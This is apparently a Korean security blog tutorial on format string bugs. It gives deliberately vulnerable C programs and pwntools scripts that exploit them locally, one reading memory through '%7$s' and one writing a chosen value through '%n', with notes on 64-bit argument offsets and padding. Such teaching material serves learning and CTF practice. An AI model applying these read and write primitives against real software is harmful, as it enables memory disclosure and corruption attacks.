본문 바로가기

security/pwn

[pwn] FSB(Format String Bug)에 대한 이해

말 그대로 printf와 같은 출력함수를 사용할 때, Format String(서식 지정자)를 지정해주지 않아서 발생하는 취약점이다.

입력 부분 보다는 출력 부분이 굉장히 중요하다.

 

예시 코드들로 이해에 참고한다.

 

#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

위에서 printf(format); 와 같이 format string을 지정하지 않을 때 발생한다.

이때 %[^\n]은 %형식 지정자이다.

'%[ ]'는 대괄호 안에 포함한 입력을 scan set으로 지정하겠다는 의미이고, ' ^ '는 부정이므로 '\n'을 제외한 모든 입력 값을 scan set으로 지정하겠다는 의미다.

 

입력 값으로는 보통 4바이트만 잘려서 주소가 나오는 %x보다는 64bit 운영체제의 경우 8바이트까지 나오는 %p를 사용한다. %s, %c를 주로 같이 사용하고 가장 핵심 %n이다.

 

#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()

 

위의 c코드의 마지막 출력에서 ' THIS IS SECRET ' 이 나오도록 하는 python 코드이다.

' % [ n-1 ] $ fs ' 형태로 n번째 인자에 fs 서식 지정자를 지정할 수 있다.

ex ) %7$n 은 8번째 인자에 접근, 숫자 인덱스로 접근할 경우 0부터 시작

위의 코드에서도 7번째 인자에 %s 서식 지정자를 지정하고 뒤에 문자열이 있는 주소를 건네주면서 ' printf("%s", secret); ' 과 같이 작동하게 한다.

 

스택에 접근하는데 64bit의 경우는 함수 호출 규약에 의해 RDI, RSI, RDX, RCX, R8, R9의 순으로 인자를 건네기 때문에 7번째부터 스택에 접근할 수 있다.

 

format string을 넣어주게 되면 길이의 규격이 없는데 64bit는 8바이트 단위로 맞춰줘야 하므로 패딩이 필요하다. 위와 같은 경우 .ljust(8)로 해주면 되지만 printf("%d %d %d %d", a, b, c, d); 와 같이 서식 지정자가 길어져도 printf와 같은 출력 함수들은 잘 작동하므로 길 경우 길어질 경우 .ljust(16) 과 같이 8바이트 배수로 패딩해준다.

 

#include <stdio.h>
int secret;
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

 

from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())

 

위의 c코드에서 secret에 31337값을 넣는 python 코드이다. printf와 같은 출력함수에 format string을 넣는데 어떻게 입력하는지 의문이 있을 수도 있다.

그 답은 %n이다. 다른 출력 서식 지정자들과 달리 %n은 뒤에 오는 변수에 이전까지의 인자 개수를 넣는 입력 서식 지정자이다. 따라서 원하는 값을 원하는 주소에 넣을 수 있다.

 

Q. python 코드를 보면 %c, %n 두 개의 format string과 뒤에 주소 하나가 있는데 왜 뒤에 주소가 먼저 오는 %c가 아닌 %n과 매칭이 되는가?

 

일반적인 상황과 달리 %c에 붙는 숫자가 매우 클 경우 ( 1000이상일 경우 ) 뒤에 주소를 요구하고 거기 있는 데이터들을 출력하는 것이 아니라 문자 출력 수를 제어하는 용도로 데이터들을 출력하고 나머지 길이를 공백 문자로 채우는 역할을 한다.

따라서 format string 순서에도 영향을 주지 않는다.

 

 

 

참고 자료들

https://axcheron.github.io/exploit-101-format-strings/#vulnerability

 

Exploit 101 - Format Strings

How to exploit format strings on Linux.

axcheron.github.io

https://learn.dreamhack.io/114#1

 

로그인 | Dreamhack

 

dreamhack.io

 

'security > pwn' 카테고리의 다른 글

[Dreamhack] basic_rop_x64 풀이  (0) 2024.07.10
[pwn] 로되리안 해결하기  (0) 2024.07.09
[pwnable.kr] fsb 풀이  (0) 2024.07.04
[pwn] 리눅스에서 elf파일 실행이 안될 때  (0) 2024.07.03
[pwnable.kr] 접속 방법  (0) 2024.06.17